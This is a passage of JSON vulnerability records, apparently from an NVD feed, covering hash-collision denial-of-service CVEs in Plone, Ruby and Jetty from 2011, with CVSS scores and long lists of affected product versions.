"AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2011-4462"], "modified": "2017-08-29T01:30:00", "cpe": ["cpe:/a:plone:plone:3.1.5.1", "cpe:/a:plone:plone:2.5.3", "cpe:/a:plone:plone:3.3.5", "cpe:/a:plone:plone:2.0.1", "cpe:/a:plone:plone:4.1.3", "cpe:/a:plone:plone:1.0", "cpe:/a:plone:plone:3.0", "cpe:/a:plone:plone:4.0.5", "cpe:/a:plone:plone:1.0.1", "cpe:/a:plone:plone:4.0.2", "cpe:/a:plone:plone:2.5.2", "cpe:/a:plone:plone:2.5.4", "cpe:/a:plone:plone:4.0", "cpe:/a:plone:plone:3.0.1", "cpe:/a:plone:plone:3.0.2", "cpe:/a:plone:plone:3.2", "cpe:/a:plone:plone:4.0.7", "cpe:/a:plone:plone:3.0.6", "cpe:/a:plone:plone:1.0.4", "cpe:/a:plone:plone:3.3.1", "cpe:/a:plone:plone:4.0.3", "cpe:/a:plone:plone:2.0.5", "cpe:/a:plone:plone:4.0.4", "cpe:/a:plone:plone:3.3.6", "cpe:/a:plone:plone:2.0", "cpe:/a:plone:plone:3.2.1", "cpe:/a:plone:plone:3.1.6", "cpe:/a:plone:plone:3.3", "cpe:/a:plone:plone:3.3.3", "cpe:/a:plone:plone:3.2.3", "cpe:/a:plone:plone:3.0.5", "cpe:/a:plone:plone:4.1.1", "cpe:/a:plone:plone:2.5.5", "cpe:/a:plone:plone:4.0.1", "cpe:/a:plone:plone:2.1.3", "cpe:/a:plone:plone:3.1.2", "cpe:/a:plone:plone:1.0.5", "cpe:/a:plone:plone:2.5.1", "cpe:/a:plone:plone:3.1.7", "cpe:/a:plone:plone:2.1.2", "cpe:/a:plone:plone:3.1.3", "cpe:/a:plone:plone:3.3.2", "cpe:/a:plone:plone:2.0.2", "cpe:/a:plone:plone:3.1", "cpe:/a:plone:plone:2.1", "cpe:/a:plone:plone:3.3.4", "cpe:/a:plone:plone:4.1", "cpe:/a:plone:plone:1.0.2", "cpe:/a:plone:plone:3.2.2", "cpe:/a:plone:plone:1.0.6", "cpe:/a:plone:plone:3.1.1", "cpe:/a:plone:plone:1.0.3", "cpe:/a:plone:plone:4.1.2", "cpe:/a:plone:plone:2.0.3", "cpe:/a:plone:plone:4.0.9", "cpe:/a:plone:plone:2.0.4", "cpe:/a:plone:plone:3.0.3", "cpe:/a:plone:plone:2.5", "cpe:/a:plone:plone:2.1.1", "cpe:/a:plone:plone:2.1.4", "cpe:/a:plone:plone:3.1.4", "cpe:/a:plone:plone:3.0.4"], "id": "CVE-2011-4462", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-4462", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, "cpe23": ["cpe:2.3:a:plone:plone:1.0.6:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:4.0.9:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:2.0.5:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.3.6:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:4.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:2.5:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:2.5.3:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.3.5:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.1.6:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.0.6:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:1.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.1.7:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:4.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:2.0:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:2.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:1.0:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:4.0.5:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:2.0.3:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.0.4:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:2.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.2.3:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:4.1:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.1.4:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:4.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.0.5:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:1.0.5:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:2.1:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:2.0.4:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:2.1.4:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.1:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:4.0.7:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:4.1.3:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:1.0.4:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:2.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:1.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:2.5.2:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:4.0:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:2.5.4:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:2.5.5:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:4.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:4.0.3:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:2.1.3:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.0.3:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.3.4:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.3.3:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.2:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:1.0.3:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.0:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:2.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:2.5.1:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.3:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:4.0.4:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.1.3:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.2.2:*:*:*:*:*:*:*", "cpe:2.3:a:plone:plone:3.1.5.1:*:*:*:*:*:*:*"]}, {"lastseen": "2021-02-02T05:51:09", "description": "Ruby (aka CRuby) before 1.8.7-p357 computes hash values without restricting the ability to trigger hash collisions predictably, which allows context-dependent attackers to cause a denial of service (CPU consumption) via crafted input to an application that maintains a hash table.", "edition": 6, "cvss3": {}, "published": "2011-12-30T01:55:00", "title": "CVE-2011-4815", "type": "cve", "cwe": ["CWE-20"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "COMPLETE", "integrityImpact": "NONE", "baseScore": 7.8, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2011-4815"], "modified": "2017-08-29T01:30:00", "cpe": ["cpe:/a:ruby-lang:ruby:1.8.7-p299", "cpe:/a:ruby-lang:ruby:1.8.7-p330", "cpe:/a:ruby-lang:ruby:1.8.7-p302", "cpe:/a:ruby-lang:ruby:1.8.7-p352", "cpe:/a:ruby-lang:ruby:1.8.7-p334"], "id": "CVE-2011-4815", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-4815", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}, "cpe23": ["cpe:2.3:a:ruby-lang:ruby:1.8.7-p334:*:*:*:*:*:*:*", "cpe:2.3:a:ruby-lang:ruby:1.8.7-p352:*:*:*:*:*:*:*", "cpe:2.3:a:ruby-lang:ruby:1.8.7-p302:*:*:*:*:*:*:*", "cpe:2.3:a:ruby-lang:ruby:1.8.7-p299:*:*:*:*:*:*:*", "cpe:2.3:a:ruby-lang:ruby:1.8.7-p330:*:*:*:*:*:*:*"]}, {"lastseen": "2021-02-02T05:51:08", "description": "Jetty 8.1.0.RC2 and earlier computes hash values for form parameters without restricting the ability to trigger hash collisions predictably, which allows remote attackers to cause a denial of service (CPU consumption) by sending many crafted parameters.", "edition": 6, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "LOW", "integrityImpact": "NONE", "baseScore": 5.3, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 1.4}, "published": "2011-12-30T01:55:00", "title": "CVE-2011-4461", "type": "cve", "cwe": ["CWE-310"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2011-4461"], "modified": "2019-03-08T11:29:00", "cpe": ["cpe:/a:mortbay:jetty:3.0.a2", "cpe:/a:mortbay:jetty:2.4.3", "cpe:/a:mortbay:jetty:3.0.4", "cpe:/a:mortbay:jetty:1.3.1", "cpe:/a:mortbay:jetty:4.2.6", "cpe:/a:mortbay:jetty:5.1.3", "cpe:/a:mortbay:jetty:4.0.b2", "cpe:/a:mortbay:jetty:3.0.a98", "cpe:/a:mortbay:jetty:3.0.a91", "cpe:/a:mortbay:jetty:3.0.a97", "cpe:/a:mortbay:jetty:4.0.b0", "cpe:/a:mortbay:jetty:5.1.7", "cpe:/a:mortbay:jetty:2.2.7", "cpe:/a:mortbay:jetty:5.1.5", "cpe:/a:mortbay:jetty:4.2.25", "cpe:/a:mortbay:jetty:4.1.b1", "cpe:/a:mortbay:jetty:3.0.a3", "cpe:/a:mortbay:jetty:2.1.1", "cpe:/a:mortbay:jetty:2.4.8", "cpe:/a:mortbay:jetty:3.1", "cpe:/a:mortbay:jetty:3.0.2", "cpe:/a:mortbay:jetty:5.1.0", "cpe:/a:mortbay:jetty:3.1.8", "cpe:/a:mortbay:jetty:6.0.1", "cpe:/a:mortbay:jetty:1.3.3", "cpe:/a:mortbay:jetty:4.2.11", "cpe:/a:mortbay:jetty:3.0.a96", "cpe:/a:mortbay:jetty:2.0", "cpe:/a:mortbay:jetty:1.3.0", "cpe:/a:mortbay:jetty:4.0.b1", "cpe:/a:mortbay:jetty:1.2.0", "cpe:/a:mortbay:jetty:5.1.12", "cpe:/a:mortbay:jetty:3.0.b03", "cpe:/a:mortbay:jetty:6.1.20", "cpe:/a:mortbay:jetty:2.2.8", "cpe:/a:mortbay:jetty:6.1.8", "cpe:/a:mortbay:jetty:3.1.7", "cpe:/a:mortbay:jetty:6.1.15", "cpe:/a:mortbay:jetty:1.1", "cpe:/a:mortbay:jetty:2.2.3", "cpe:/a:mortbay:jetty:4.0.d0", "cpe:/a:mortbay:jetty:8.1.0", "cpe:/a:mortbay:jetty:4.1.d0", "cpe:/a:mortbay:jetty:4.1.4", "cpe:/a:mortbay:jetty:2.1.4", "cpe:/a:mortbay:jetty:2.0.0", "cpe:/a:mortbay:jetty:3.0.a1", "cpe:/a:mortbay:jetty:4.2.9", "cpe:/a:mortbay:jetty:2.4.1", "cpe:/a:mortbay:jetty:3.1.4", "cpe:/a:mortbay:jetty:2.3.2", "cpe:/a:mortbay:jetty:4.2.12", "cpe:/a:mortbay:jetty:4.0.4", "cpe:/a:mortbay:jetty:6.1.11", "cpe:/a:mortbay:jetty:2.1.7", "cpe:/a:mortbay:jetty:5.0.0", "cpe:/a:mortbay:jetty:2.0.2", "cpe:/a:mortbay:jetty:6.1.2", "cpe:/a:mortbay:jetty:3.0.a93", "cpe:/a:mortbay:jetty:4.1.2", "cpe:/a:mortbay:jetty:4.0.6", "cpe:/a:mortbay:jetty:6.0.0", "cpe:/a:mortbay:jetty:2.3.0a", "cpe:/a:mortbay:jetty:5.1.10", "cpe:/a:mortbay:jetty:4.2.17", "cpe:/a:mortbay:jetty:3.1.9", "cpe:/a:mortbay:jetty:2.2.5", "cpe:/a:mortbay:jetty:2.0.5", "cpe:/a:mortbay:jetty:6.1.7", "cpe:/a:mortbay:jetty:4.0.d2", "cpe:/a:mortbay:jetty:3.0.1", "cpe:/a:mortbay:jetty:4.1.1", "cpe:/a:mortbay:jetty:4.1.d1", "cpe:/a:mortbay:jetty:2.1.b1", "cpe:/a:mortbay:jetty:3.0.a90", "cpe:/a:mortbay:jetty:3.0.a95", "cpe:/a:mortbay:jetty:3.0.a7", "cpe:/a:mortbay:jetty:5.1", "cpe:/a:mortbay:jetty:4.1.d2", "cpe:/a:mortbay:jetty:4.2.15", "cpe:/a:mortbay:jetty:5.0", "cpe:/a:mortbay:jetty:4.2.14", "cpe:/a:mortbay:jetty:2.1.b0", "cpe:/a:mortbay:jetty:4.0.5", "cpe:/a:mortbay:jetty:4.1.0", "cpe:/a:mortbay:jetty:4.0.d4", "cpe:/a:mortbay:jetty:3.0.a5", "cpe:/a:mortbay:jetty:6.1.10", "cpe:/a:mortbay:jetty:4.2.20", "cpe:/a:mortbay:jetty:3.0.a99", "cpe:/a:mortbay:jetty:4.0.0", "cpe:/a:mortbay:jetty:2.2", "cpe:/a:mortbay:jetty:4.0.2", "cpe:/a:mortbay:jetty:2.2.6", "cpe:/a:mortbay:jetty:4.2.2", "cpe:/a:mortbay:jetty:2.3.5", "cpe:/a:mortbay:jetty:2.2.1", "cpe:/a:mortbay:jetty:4.2.27", "cpe:/a:mortbay:jetty:3.0.b02", "cpe:/a:mortbay:jetty:4.2.21", "cpe:/a:mortbay:jetty:2.0.1", "cpe:/a:mortbay:jetty:6.1.0", "cpe:/a:mortbay:jetty:3.0.a0", "cpe:/a:mortbay:jetty:2.4.2", "cpe:/a:mortbay:jetty:4.1.3", "cpe:/a:mortbay:jetty:4.1.b0", "cpe:/a:mortbay:jetty:7.0.0", "cpe:/a:mortbay:jetty:2.0.4", "cpe:/a:mortbay:jetty:5.1.2", "cpe:/a:mortbay:jetty:3.0.b01", "cpe:/a:mortbay:jetty:3.0.3", "cpe:/a:mortbay:jetty:3.0.a8", "cpe:/a:mortbay:jetty:5.1.8", "cpe:/a:mortbay:jetty:6.1.19", "cpe:/a:mortbay:jetty:4.2.16", "cpe:/a:mortbay:jetty:4.2.1", "cpe:/a:mortbay:jetty:5.1.6", "cpe:/a:mortbay:jetty:2.4.7", "cpe:/a:mortbay:jetty:2.3.1", "cpe:/a:mortbay:jetty:1.3.4", "cpe:/a:mortbay:jetty:3.0.6", "cpe:/a:mortbay:jetty:4.2.23", "cpe:/a:mortbay:jetty:6.1.14", "cpe:/a:mortbay:jetty:4.0.1", "cpe:/a:mortbay:jetty:4.2.26", "cpe:/a:mortbay:jetty:3.1.5", "cpe:/a:mortbay:jetty:2.1.3", "cpe:/a:mortbay:jetty:5.1.4", "cpe:/a:mortbay:jetty:1.1.1", "cpe:/a:mortbay:jetty:3.0.a92", "cpe:/a:mortbay:jetty:2.1.6", "cpe:/a:mortbay:jetty:3.1.0", "cpe:/a:mortbay:jetty:4.2.19", "cpe:/a:mortbay:jetty:1.3.2", "cpe:/a:mortbay:jetty:4.0.3", "cpe:/a:mortbay:jetty:2.2.4", "cpe:/a:mortbay:jetty:5.1.1", "cpe:/a:mortbay:jetty:3.1.2", "cpe:/a:oracle:sun_storage_common_array_manager:6.9.0", "cpe:/a:mortbay:jetty:2.3.0", "cpe:/a:mortbay:jetty:1.3.5", "cpe:/a:mortbay:jetty:6.1.16", "cpe:/a:mortbay:jetty:3.0", "cpe:/a:mortbay:jetty:5.1.11", "cpe:/a:mortbay:jetty:2.3.3", "cpe:/a:mortbay:jetty:6.1.1", "cpe:/a:mortbay:jetty:2.0.3", "cpe:/a:mortbay:jetty:3.1.3", "cpe:/a:mortbay:jetty:4.2", "cpe:/a:mortbay:jetty:2.3.4", "cpe:/a:mortbay:jetty:4.2.22", "cpe:/a:mortbay:jetty:2.1.2", "cpe:/a:mortbay:jetty:6.1.6", "cpe:/a:mortbay:jetty:4.2.8_01", "cpe:/a:mortbay:jetty:2.1.5", "cpe:/a:mortbay:jetty:4.2.18", "cpe:/a:mortbay:jetty:3.0.0", "cpe:/a:mortbay:jetty:5.1.14", "cpe:/a:mortbay:jetty:3.0.b04", "cpe:/a:mortbay:jetty:4.2.10", "cpe:/a:mortbay:jetty:4.2.3", "cpe:/a:mortbay:jetty:2.4.5", "cpe:/a:mortbay:jetty:4.0", "cpe:/a:mortbay:jetty:2.4.0", "cpe:/a:mortbay:jetty:2.2.0", "cpe:/a:mortbay:jetty:6.1.4", "cpe:/a:mortbay:jetty:5.1.9", "cpe:/a:mortbay:jetty:5.1.13", "cpe:/a:mortbay:jetty:3.0.a9", "cpe:/a:mortbay:jetty:3.0.b05", "cpe:/a:mortbay:jetty:4.0.d1", "cpe:/a:mortbay:jetty:4.2.7", "cpe:/a:mortbay:jetty:4.2.4", "cpe:/a:mortbay:jetty:4.2.5", "cpe:/a:mortbay:jetty:1.0.1", "cpe:/a:mortbay:jetty:2.4.6", "cpe:/a:mortbay:jetty:3.0.5", "cpe:/a:mortbay:jetty:6.1.9", "cpe:/a:mortbay:jetty:3.1.6", "cpe:/a:mortbay:jetty:2.2.2", "cpe:/a:mortbay:jetty:6.1.3", "cpe:/a:mortbay:jetty:6.1.12", "cpe:/a:mortbay:jetty:2.1.0", "cpe:/a:mortbay:jetty:2.4.4", "cpe:/a:mortbay:jetty:3.0.a6", "cpe:/a:mortbay:jetty:3.0.a4", "cpe:/a:mortbay:jetty:4.0.d3", "cpe:/a:mortbay:jetty:6.0.2", "cpe:/a:mortbay:jetty:6.1.21", "cpe:/a:mortbay:jetty:4.2.0", "cpe:/a:mortbay:jetty:2.4.9", "cpe:/a:mortbay:jetty:4.2.24", "cpe:/a:mortbay:jetty:3.0.a94", "cpe:/a:mortbay:jetty:3.1.1", "cpe:/a:mortbay:jetty:1.0", "cpe:/a:mortbay:jetty:6.1.5"], "id": "CVE-2011-4461", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-4461", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, "cpe23": ["cpe:2.3:a:mortbay:jetty:3.1.4:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.8_01:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:1.3.5:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:beta14:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.3.0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.0:rc1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.0.5:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.a2:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.5:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.0:rc5:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.27:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.4.8:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.0:beta0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.5:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.0:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.23:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.0.4:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.2:pre0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.a1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.1.d2:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.0.d0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.10:pre1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.1.5:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.5:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.2:beta4:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:beta8:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.2:rc1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.a90:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.0:beta2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.8:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.0:rc1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.15:rc3:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.1.b0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.2:beta3:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:1.1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.4.5:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.4:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.1:rc3:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.4:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.1.3:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.6:rc1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.15:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:8.1.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.12:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1:rc1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.11:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.17:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.7:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.0:alpha0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.1.3:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.3:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.1.4:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:1.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:beta5:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.1:rc6:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.b01:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.4:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.2:rc3:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.1.0:rc5:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.15:rc4:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.2.5:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.8:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:rc1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.20:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:rc4:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.0:pre2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.2.3:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.1:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.a8:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:beta4:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.1.0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.1.8:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.0:beta1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.2.0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.14:rc1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.1.d0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.12:rc1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:beta2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.4:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.1.5:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.12:rc2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.0.3:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.18:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.0:rc3:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.6:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.24:rc1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.1.0:rc3:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.14:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.0:beta0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.a5:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.1.b1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.10:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:7.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.2:alpha1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.2.23:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.7:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.0.0:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.21:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.1.d1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.1.4:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.2:alpha0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.0.0:rc0:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.a95:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:4.1.0:rc1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.0:rc2:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:5.1.13:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:6.1.2:pre1:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.1.b1:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:3.0.a97:*:*:*:*:*:*:*", "cpe:2.3:a:mortbay:jetty:2.0:beta2:*:*:*:*:*:*", 